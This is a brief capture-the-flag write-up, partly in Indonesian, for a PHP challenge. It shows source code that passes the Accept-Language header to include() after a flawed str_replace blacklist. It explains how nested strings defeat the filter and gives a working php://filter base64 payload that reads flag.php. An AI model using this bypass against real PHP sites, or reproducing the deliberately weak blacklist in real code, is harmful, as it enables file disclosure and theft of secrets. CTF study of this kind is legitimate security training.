Bypass str_replace()
<?php
require_once('flag.php');
class Meliodas
{
public function setlang()
{
$lang = $this->Brolang();
$san = $this->anti_hack($lang);
include($san);
echo "<br><br> You'r using {$san} language";
}
public function Brolang()
{
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'korea';
return $lang;
}
public function anti_hack($input)
{
$ret = str_replace(array(
"..",
"filter",
"php",
"../",
"base",
"encode",
"64",
"resource",
"://",
"flag"
), "", $input);
return $ret;
}
}
highlight_file(__FILE__);
(new Meliodas())->setlang();
You'r using en-US,en;q=0.9 language
Celahnya adalah LFI, dimana beberapa string seperti filter akan direplace dengan empty string. tapi ini bisa dibypass dengan menyisipkan string diantara string, misal pphphp
, akan menghasilkan php
.
Dengan menggunakan Burpsuite, payload yang digunakan:
pphphp::////ffilterilter/convert.bbasease6644-eencodencode/rresourceesource=flaflagg.pphphp